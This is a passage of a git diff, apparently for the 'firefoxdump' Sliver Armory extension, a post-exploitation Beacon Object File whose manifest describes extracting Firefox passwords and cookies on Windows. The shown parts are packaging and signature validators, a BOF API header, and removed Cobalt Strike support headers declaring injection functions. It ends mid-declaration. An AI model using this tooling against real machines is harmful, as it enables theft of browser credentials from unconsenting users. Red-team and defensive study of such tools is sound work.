name + if not source_path.is_file() or source_path.stat().st_size == 0: + raise FileNotFoundError(f"missing or empty package file: {source_path}") + staged[name] = source_path.read_bytes() + + archive = args.output_dir.resolve() / f"{ARTIFACT_BASENAME}.tar.gz" + write_archive(archive, staged, source_epoch()) + digest = hashlib.sha256(archive.read_bytes()).hexdigest() + print(f"archive={archive}") + print(f"sha256={digest}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/scripts/validate_archive.py b/scripts/validate_archive.py new file mode 100644 index 0000000..6c8a197 --- /dev/null +++ b/scripts/validate_archive.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 +"""Validate the FirefoxDump Armory archive and its BOF objects.""" + +from __future__ import annotations + +import argparse +import base64 +import json +from pathlib import Path, PurePosixPath +import re +import shutil +import subprocess +import tarfile +import tempfile + + +REPO_URL = "https://github.com/sliverarmory/firefoxdump" +PACKAGE_NAME = "firefoxdump" +ARTIFACTS = { + "firefoxdump.x64.o": ("amd64", "i386:x86-64", "go"), + "firefoxdump.x86.o": ("386", "i386", "_go"), +} +EXPECTED_MEMBERS = { + "./extension.json", + "./firefoxdump.x64.o", + "./firefoxdump.x86.o", + "./LICENSE", + "./NOTICE", +} +TAG_RE = re.compile(r"^v[0-9]+\.[0-9]+\.[0-9]+$") +MAX_TRUSTED_COMMENT_BYTES = 4000 + + +def fail(message: str) -> None: + raise ValueError(message) + + +def inspect_object(data: bytes, name: str, architecture: str, symbol: str, objdump: str) -> None: + with tempfile.TemporaryDirectory(prefix="armory-bof-inspect-") as directory: + path = Path(directory) / name + path.write_bytes(data) + headers = subprocess.run( + [objdump, "-f", str(path)], + check=True, + capture_output=True, + text=True, + ).stdout + observed_arch = re.search(r"^architecture:\s*([^,]+),", headers, re.MULTILINE) + if observed_arch is None or observed_arch.group(1) != architecture: + fail(f"{name} is not a {architecture} COFF object according to objdump") + + symbols = subprocess.run( + [objdump, "-t", str(path)], + check=True, + capture_output=True, + text=True, + ).stdout + entrypoint = re.search( + rf"^\[\s*\d+\]\(sec\s+([1-9][0-9]*)\).*?\(scl\s+2\).*?\s{re.escape(symbol)}\s*$", + symbols, + re.MULTILINE, + ) + if entrypoint is None: + fail(f"{name} does not define the external BOF symbol {symbol}") + section = entrypoint.group(1) + if re.search( + rf"^\[\s*\d+\]\(sec\s+{re.escape(section)}\).*?\s\.text\s*$", + symbols, + re.MULTILINE, + ) is None: + fail(f"{name}: {symbol} is not defined in the .text code section") + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("--archive", required=True, type=Path) + parser.add_argument("--tag", required=True) + parser.add_argument("--inspect-objects", action="store_true") + args = parser.parse_args() + + if not TAG_RE.fullmatch(args.tag): + parser.error("--tag must have the exact form vMAJOR.MINOR.PATCH") + if not args.archive.is_file(): + parser.error("--archive must name a readable file") + + objdump = None + if args.inspect_objects: + objdump = ( + shutil.which("x86_64-w64-mingw32-objdump") + or shutil.which("i686-w64-mingw32-objdump") + or shutil.which("llvm-objdump") + ) + if objdump is None: + parser.error("--inspect-objects requires a COFF-capable objdump") + + with tarfile.open(args.archive, "r:gz") as tar: + members = tar.getmembers() + names = [member.name for member in members] + if len(names) != len(set(names)): + fail("archive contains duplicate paths") + if set(names) != EXPECTED_MEMBERS: + fail( + "archive allowlist mismatch; expected " + + repr(sorted(EXPECTED_MEMBERS)) + + ", got " + + repr(sorted(names)) + ) + mtimes = {member.mtime for member in members} + if len(mtimes) != 1: + fail("archive members do not share one deterministic timestamp") + for member in members: + pure = PurePosixPath(member.name) + if not member.isfile() or member.name.startswith("/") or ".." in pure.parts: + fail(f"unsafe or non-regular archive member: {member.name}") + if member.size == 0: + fail(f"empty archive member: {member.name}") + if member.mode != 0o644: + fail(f"unexpected mode on archive member: {member.name}") + if (member.uid, member.gid, member.uname, member.gname) != (0, 0, "root", "root"): + fail(f"unexpected ownership metadata on archive member: {member.name}") + + manifest_member = tar.extractfile("./extension.json") + if manifest_member is None: + fail("cannot read ./extension.json") + manifest_bytes = manifest_member.read() + if len(base64.b64encode(manifest_bytes)) > MAX_TRUSTED_COMMENT_BYTES: + fail("extension.json exceeds the safe Minisign trusted-comment limit") + manifest = json.loads(manifest_bytes.decode("utf-8")) + expected_top = { + "name", + "package_name", + "version", + "extension_author", + "original_author", + "repo_url", + "commands", + } + if set(manifest) != expected_top: + fail("extension.json has unexpected or missing top-level fields") + if manifest["name"] != PACKAGE_NAME or manifest["package_name"] != PACKAGE_NAME: + fail("unexpected package identity") + if manifest["version"] != args.tag: + fail("manifest version does not match tag") + if manifest["extension_author"] != "Sliver Armory": + fail("unexpected extension_author") + if manifest["original_author"] != "mrrobot1o1": + fail("unexpected original_author") + if manifest["repo_url"] != REPO_URL: + fail("unexpected repo_url") + + commands = manifest["commands"] + if not isinstance(commands, list) or len(commands) != 1: + fail("manifest must contain exactly one command") + command = commands[0] + expected_command_keys = { + "command_name", + "help", + "long_help", + "entrypoint", + "bof_executor", + "init", + "arguments", + "files", + } + if set(command) != expected_command_keys: + fail("firefoxdump command has unexpected or missing fields") + if command["command_name"] != "firefoxdump": + fail("unexpected command_name") + if not isinstance(command["help"], str) or not command["help"].strip(): + fail("command help must be nonempty") + if not isinstance(command["long_help"], str) or not command["long_help"].strip(): + fail("command long_help must be nonempty") + if command["entrypoint"] != "go": + fail("entrypoint must be go") + if command["bof_executor"] != "reflektor": + fail("bof_executor must be reflektor") + if command["init"] != "": + fail("init must be empty") + if command["arguments"] != [ + { + "name": "mode", + "type": "string", + "desc": "Extraction mode: omit for passwords, set --mode /all for passwords and cookies, or --mode /cookies for cookies only.", + "optional": True, + "default": "", + "choices": ["/all", "/cookies"], + } + ]: + fail("unexpected mode argument contract") + + expected_files = [ + {"os": "windows", "arch": "amd64", "path": "firefoxdump.x64.o"}, + {"os": "windows", "arch": "386", "path": "firefoxdump.x86.o"}, + ] + if command["files"] != expected_files: + fail("unexpected target or artifact mappings") + + if objdump is not None: + for artifact, (_sliver_arch, architecture, symbol) in ARTIFACTS.items(): + artifact_member = tar.extractfile(f"./{artifact}") + if artifact_member is None: + fail(f"cannot read {artifact}") + inspect_object( + artifact_member.read(), + artifact, + architecture, + symbol, + objdump, + ) + + print(f"OK: {args.archive.name} is the expected Reflektor package for {args.tag}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/scripts/validate_signature.py b/scripts/validate_signature.py new file mode 100644 index 0000000..2f31d83 --- /dev/null +++ b/scripts/validate_signature.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python3 +"""Verify a Minisign signature and its byte-exact embedded manifest.""" + +from __future__ import annotations + +import argparse +import base64 +import binascii +import json +from pathlib import Path +import shutil +import subprocess +import tarfile + + +def fail(message: str) -> None: + raise ValueError(message) + + +def compact_public_key(path: Path) -> str: + lines = path.read_text(encoding="utf-8").splitlines() + if len(lines) < 2 or not lines[1].startswith("RW"): + fail("public-key file must contain a compact Minisign key on line 2") + key = lines[1] + try: + decoded = base64.b64decode(key, validate=True) + except binascii.Error as error: + fail(f"public key is not strict base64: {error}") + if len(decoded) != 42 or decoded[:2] != b"Ed": + fail("public key is not a Minisign EdDSA public key") + return key + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("--archive", required=True, type=Path) + parser.add_argument("--signature", required=True, type=Path) + parser.add_argument("--public-key-file", required=True, type=Path) + parser.add_argument("--tag", required=True) + args = parser.parse_args() + + for path in (args.archive, args.signature, args.public_key_file): + if not path.is_file(): + parser.error(f"missing input file: {path}") + expected_signature = args.archive.name.removesuffix(".tar.gz") + ".minisig" + if args.signature.name != expected_signature: + fail(f"signature must be named {expected_signature}") + + public_key = compact_public_key(args.public_key_file) + minisign = shutil.which("minisign") + if minisign is None: + parser.error("minisign is required") + verification = subprocess.run( + [ + minisign, + "-V", + "-P", + public_key, + "-m", + str(args.archive), + "-x", + str(args.signature), + ], + check=False, + capture_output=True, + text=True, + ) + if verification.returncode != 0: + fail((verification.stderr or verification.stdout).strip()) + + signature_lines = args.signature.read_text(encoding="utf-8").rstrip("\r\n").splitlines() + if len(signature_lines) != 4 or not signature_lines[2].startswith("trusted comment: "): + fail("signature must contain one canonical four-line trusted comment") + encoded_manifest = signature_lines[2].removeprefix("trusted comment: ") + try: + trusted_manifest = base64.b64decode(encoded_manifest, validate=True) + except binascii.Error as error: + fail(f"trusted comment is not strict base64: {error}") + + with tarfile.open(args.archive, "r:gz") as tar: + manifest_file = tar.extractfile("./extension.json") + if manifest_file is None: + fail("archive does not contain ./extension.json") + archived_manifest = manifest_file.read() + if trusted_manifest != archived_manifest: + fail("trusted-comment bytes do not exactly equal ./extension.json") + manifest = json.loads(archived_manifest.decode("utf-8")) + if manifest.get("version") != args.tag: + fail("trusted manifest version does not match the release tag") + + print(f"OK: signature and byte-exact trusted manifest verified for {args.tag}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/src/bof_api.h b/src/bof_api.h new file mode 100644 index 0000000..88dbfff --- /dev/null +++ b/src/bof_api.h @@ -0,0 +1,159 @@ +/* + * SPDX-License-Identifier: GPL-3.0-only + * + * Minimal BOF and Dynamic Function Resolution declarations used by + * firefoxdump. This file was written specifically for this project and does + * not incorporate the TrustedSec CS-Situational-Awareness-BOF support files + * that appeared in earlier revisions. + */ +#pragma once + +#include +#include +#include + +#ifdef BOF + +typedef struct { + char* original; + char* buffer; + int length; + int size; +} datap; + +#define CALLBACK_OUTPUT 0x00 + +DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); +DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); +DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int length); + +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(void); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE heap, DWORD flags, SIZE_T bytes); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE heap, DWORD flags, LPVOID memory); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileAttributesA(LPCSTR fileName); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR moduleName); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR fileName); +DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE module, LPCSTR procName); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FreeLibrary(HMODULE module); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA( + LPCSTR fileName, + DWORD desiredAccess, + DWORD shareMode, + LPSECURITY_ATTRIBUTES securityAttributes, + DWORD creationDisposition, + DWORD flagsAndAttributes, + HANDLE templateFile); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE file, LPDWORD fileSizeHigh); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile( + HANDLE file, + LPVOID buffer, + DWORD bytesToRead, + LPDWORD bytesRead, + LPOVERLAPPED overlapped); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE object); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(void); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$FindFirstFileA(LPCSTR fileName, LPWIN32_FIND_DATAA findData); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindNextFileA(HANDLE findFile, LPWIN32_FIND_DATAA findData); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindClose(HANDLE findFile); + +DECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void* left, const void* right, size_t count); +DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* destination, const void* source, size_t count); +DECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* destination, int value, size_t count); +DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* left, const char* right); +DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char* left, const char* right); +DECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* string); +DECLSPEC_IMPORT int __cdecl MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arguments); + +#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (size)) +#define intFree(memory) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (memory)) + +#define BOF_MAX_OUTPUT_RECORD (1024U * 1024U) +#define BOF_MAX_TOTAL_OUTPUT (8U * 1024U * 1024U) + +static SIZE_T bofOutputBytes = 0; +static BOOL bofOutputLimited = FALSE; +static BOOL bofOversizedReported = FALSE; + +static void bof_output_reset(void) { + bofOutputBytes = 0; + bofOutputLimited = FALSE; + bofOversizedReported = FALSE; +} + +static void bof_printf(const char* format, ...) { + static const char oversized[] = "[!] Output record exceeds the 1 MiB safety limit\n"; + static const char limited[] = "[!] Total output reached the 8 MiB safety limit; further records suppressed\n"; + char* output; + int length; + int written; + va_list arguments; + + va_start(arguments, format); + length = MSVCRT$vsnprintf(NULL, 0, format, arguments); + va_end(arguments); + + if (length <= 0) { + return; + } + if ((SIZE_T)length > BOF_MAX_OUTPUT_RECORD) { + if (!bofOversizedReported) { + BeaconOutput(CALLBACK_OUTPUT, (char*)oversized, (int)(sizeof(oversized) - 1)); + bofOversizedReported = TRUE; + } + return; + } + if (bofOutputLimited || (SIZE_T)length > BOF_MAX_TOTAL_OUTPUT - bofOutputBytes) { + if (!bofOutputLimited) { + BeaconOutput(CALLBACK_OUTPUT, (char*)limited, (int)(sizeof(limited) - 1)); + bofOutputLimited = TRUE; + } + return; + } + + output = (char*)intAlloc((SIZE_T)length + 1); + if (!output) { + return; + } + va_start(arguments, format); + written = MSVCRT$vsnprintf(output, (SIZE_T)length + 1, format, arguments); + va_end(arguments); + if (written >= 0 && written <= length) { + BeaconOutput(CALLBACK_OUTPUT, output, written); + bofOutputBytes += (SIZE_T)written; + } + MSVCRT$memset(output, 0, (SIZE_T)length + 1); + intFree(output); +} + +#define SafeAppend(...) bof_printf(__VA_ARGS__) + +#else + +#include +#include +#include + +#define KERNEL32$GetFileAttributesA GetFileAttributesA +#define KERNEL32$GetModuleHandleA GetModuleHandleA +#define KERNEL32$LoadLibraryA LoadLibraryA +#define KERNEL32$GetProcAddress GetProcAddress +#define KERNEL32$FreeLibrary FreeLibrary +#define KERNEL32$CreateFileA CreateFileA +#define KERNEL32$GetFileSize GetFileSize +#define KERNEL32$ReadFile ReadFile +#define KERNEL32$CloseHandle CloseHandle +#define KERNEL32$FindFirstFileA FindFirstFileA +#define KERNEL32$FindNextFileA FindNextFileA +#define KERNEL32$FindClose FindClose +#define MSVCRT$memcmp memcmp +#define MSVCRT$memcpy memcpy +#define MSVCRT$memset memset +#define MSVCRT$strcmp strcmp +#define MSVCRT$_stricmp _stricmp +#define MSVCRT$strlen strlen +#define intAlloc(size) calloc(1, (size)) +#define intFree(memory) free((memory)) +#define bof_output_reset() ((void)0) +#define SafeAppend(...) printf(__VA_ARGS__) + +#endif diff --git a/src/common/base.c b/src/common/base.c deleted file mode 100644 index f299a71..0000000 --- a/src/common/base.c +++ /dev/null @@ -1,228 +0,0 @@ -#include -#include "bofdefs.h" -#include "beacon.h" -#ifndef bufsize -#define bufsize 8192 -#endif - - - - -char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly -WORD currentoutsize __attribute__((section (".data"))) = 0; -HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error - -#ifdef BOF -int bofstart(); -void internal_printf(const char* format, ...); -void printoutput(BOOL done); -#endif -char * Utf16ToUtf8(const wchar_t* input); -#ifdef BOF -int bofstart() -{ - output = (char*)MSVCRT$calloc(bufsize, 1); - currentoutsize = 0; - return 1; -} - -void internal_printf(const char* format, ...){ - int buffersize = 0; - int transfersize = 0; - char * curloc = NULL; - char* intBuffer = NULL; - va_list args; - va_start(args, format); - buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null - va_end(args); - - // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) - if (buffersize == -1) - return; - - char* transferBuffer = (char*)intAlloc(bufsize); - intBuffer = (char*)intAlloc(buffersize); - /*Print string to memory buffer*/ - va_start(args, format); - MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string - va_end(args); - if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end - { - //BeaconFormatPrintf(&output, intBuffer); - memcpy(output+currentoutsize, intBuffer, buffersize); - currentoutsize += buffersize; - } - else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print - { - curloc = intBuffer; - while(buffersize > 0) - { - transfersize = bufsize - currentoutsize; // what is the max we could transfer this request - if(buffersize < transfersize) //if I have less then that, lets just transfer what's left - { - transfersize = buffersize; - } - memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer - currentoutsize += transfersize; - //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer - if(currentoutsize == bufsize) - { - printoutput(FALSE); // sets currentoutsize to 0 and prints - } - memset(transferBuffer, 0, transfersize); // reset our transfer buffer - curloc += transfersize; // increment by how much data we just wrote - buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall - } - } - intFree(intBuffer); - intFree(transferBuffer); -} - -void printoutput(BOOL done) -{ - - char * msg = NULL; - BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); - currentoutsize = 0; - memset(output, 0, bufsize); - if(done) {MSVCRT$free(output); output=NULL;} -} -#else -#define internal_printf printf -#define printoutput -#define bofstart -#endif - -// Changes to address issue #65. -// We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable. -// To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one -// Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer. -// Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself -// If you must then free it after bofstop is called -#ifdef DYNAMIC_LIB_COUNT - - -typedef struct loadedLibrary { - HMODULE hMod; // mod handle - const char * name; // name normalized to uppercase -}loadedLibrary, *ploadedLibrary; -loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; -DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; - -BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) -{ - BOOL bmatch = FALSE; - DWORD pos = 0; - while(szLibrary[pos] && sztarget[pos]) - { - if(szLibrary[pos] != sztarget[pos]) - { - goto end; - } - pos++; - } - if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match - {goto end;} - bmatch = TRUE; - - end: - return bmatch; -} - -//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions -// -// DynamicLoad -// Retrieves a function pointer given the BOF library-function name -// szLibrary - The library containing the function you want to load -// szFunction - The Function that you want to load -// Returns a FARPROC function pointer if successful, or NULL if lookup fails -// -FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) -{ - FARPROC fp = NULL; - HMODULE hMod = NULL; - DWORD i = 0; - DWORD liblen = 0; - for(i = 0; i < loadedLibrariesCount; i++) - { - if(intstrcmp(szLibrary, loadedLibraries[i].name)) - { - hMod = loadedLibraries[i].hMod; - } - } - if(!hMod) - { - hMod = LoadLibraryA(szLibrary); - if(!hMod){ - BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); - return NULL; - } - loadedLibraries[loadedLibrariesCount].hMod = hMod; - loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop - loadedLibrariesCount++; - } - fp = GetProcAddress(hMod, szFunction); - - if (NULL == fp) - { - BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); - } - return fp; -} -#endif - - -char* Utf16ToUtf8(const wchar_t* input) -{ - int ret = Kernel32$WideCharToMultiByte( - CP_UTF8, - 0, - input, - -1, - NULL, - 0, - NULL, - NULL - ); - - char* newString = (char*)intAlloc(sizeof(char) * ret); - - ret = Kernel32$WideCharToMultiByte( - CP_UTF8, - 0, - input, - -1, - newString, - sizeof(char) * ret, - NULL, - NULL - ); - - if (0 == ret) - { - goto fail; - } - -retloc: - return newString; -/*location to free everything centrally*/ -fail: - if (newString){ - intFree(newString); - newString = NULL; - }; - goto retloc; -} - -//release any global functions here -void bofstop() -{ -#ifdef DYNAMIC_LIB_COUNT - DWORD i; - for(i = 0; i < loadedLibrariesCount; i++) - { - FreeLibrary(loadedLibraries[i].hMod); - } -#endif - return; -} diff --git a/src/common/beacon.h b/src/common/beacon.h deleted file mode 100644 index a794333..0000000 --- a/src/common/beacon.h +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Beacon Object Files (BOF) - * ------------------------- - * A Beacon Object File is a light-weight post exploitation tool that runs - * with Beacon's inline-execute command. - * - * Cobalt Strike 4.1. - */ - -/* data API */ -#pragma once - -#ifdef BOF -typedef struct { - char * original; /* the original buffer [so we can free it] */ - char * buffer; /* current pointer into our buffer */ - int length; /* remaining length of data */ - int size; /* total size of this buffer */ -} datap; - -DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); -DECLSPEC_IMPORT int BeaconDataInt(datap * parser); -DECLSPEC_IMPORT short BeaconDataShort(datap * parser); -DECLSPEC_IMPORT int BeaconDataLength(datap * parser); -DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); - -/* format API */ -typedef struct { - char * original; /* the original buffer [so we can free it] */ - char * buffer; /* current pointer into our buffer */ - int length; /* remaining length of data */ - int size; /* total size of this buffer */ -} formatp; - -DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); -DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); -DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); -DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); -DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); -DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); -DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); - -/* Output Functions */ -#define CALLBACK_OUTPUT 0x0 -#define CALLBACK_OUTPUT_OEM 0x1e -#define CALLBACK_ERROR 0x0d -#define CALLBACK_OUTPUT_UTF8 0x20 - -DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); -DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); - -/* Token Functions */ -DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); -DECLSPEC_IMPORT void BeaconRevertToken(); -DECLSPEC_IMPORT BOOL BeaconIsAdmin(); - -/* Spawn+Inject Functions */ -DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); -DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); -DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); -DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); - -/* Utility Functions */ -DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -#endif diff --git a/src/common/bofdefs.h b/src/common/bofdefs.h deleted file mode 100755 index f3f32a1..0000000 --- a/src/common/bofdefs.h +++ /dev/null @@ -1,946 +0,0 @@ -#pragma once -#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen) -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -//KERNEL32 -#ifdef BOF -WINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -WINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); -DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T); -DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL); -WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); -WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); -WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); -WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); -WINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments); -WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); -WINBASEAPI int WINAPI Kernel32$MultiByteToWideChar (UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); -WINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime (CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime); -WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime (CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime); -WINBASEAPI int WINAPI KERNEL32$GetDateFormatW (LCID Locale, DWORD dwFlags, CONST SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate); -WINBASEAPI VOID WINAPI KERNEL32$GetSystemTimeAsFileTime (LPFILETIME lpSystemTimeAsFileTime); -WINBASEAPI VOID WINAPI KERNEL32$GetLocalTime (LPSYSTEMTIME lpSystemTime); -WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime (CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime); -WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToTzSpecificLocalTime (CONST TIME_ZONE_INFORMATION *lpTimeZoneInformation, CONST SYSTEMTIME *lpUniversalTime, LPSYSTEMTIME lpLocalTime); -WINBASEAPI WINBOOL WINAPI KERNEL32$GlobalMemoryStatusEx (LPMEMORYSTATUSEX lpBuffer); -WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); -WINBASEAPI WINBOOL WINAPI KERNEL32$GetDiskFreeSpaceExA (LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes); -WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID); -WINBASEAPI BOOL WINAPI KERNEL32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); -DECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID); -WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); -WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject); -WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); -WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount (VOID); -WINBASEAPI ULONGLONG WINAPI KERNEL32$GetTickCount64 (VOID); -WINBASEAPI LPVOID WINAPI KERNEL32$CreateFiber (SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter); -WINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber (LPVOID lpParameter); -WINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread (VOID); -WINBASEAPI VOID WINAPI KERNEL32$DeleteFiber (LPVOID lpFiber); -WINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber (LPVOID lpFiber); -WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds); -WINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds); -WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW (LPCWSTR lpFileName); -WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); -WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); -WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh); -WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); -WINBASEAPI WINBOOL WINAPI KERNEL32$CreatePipe (PHANDLE hReadPipe, PHANDLE 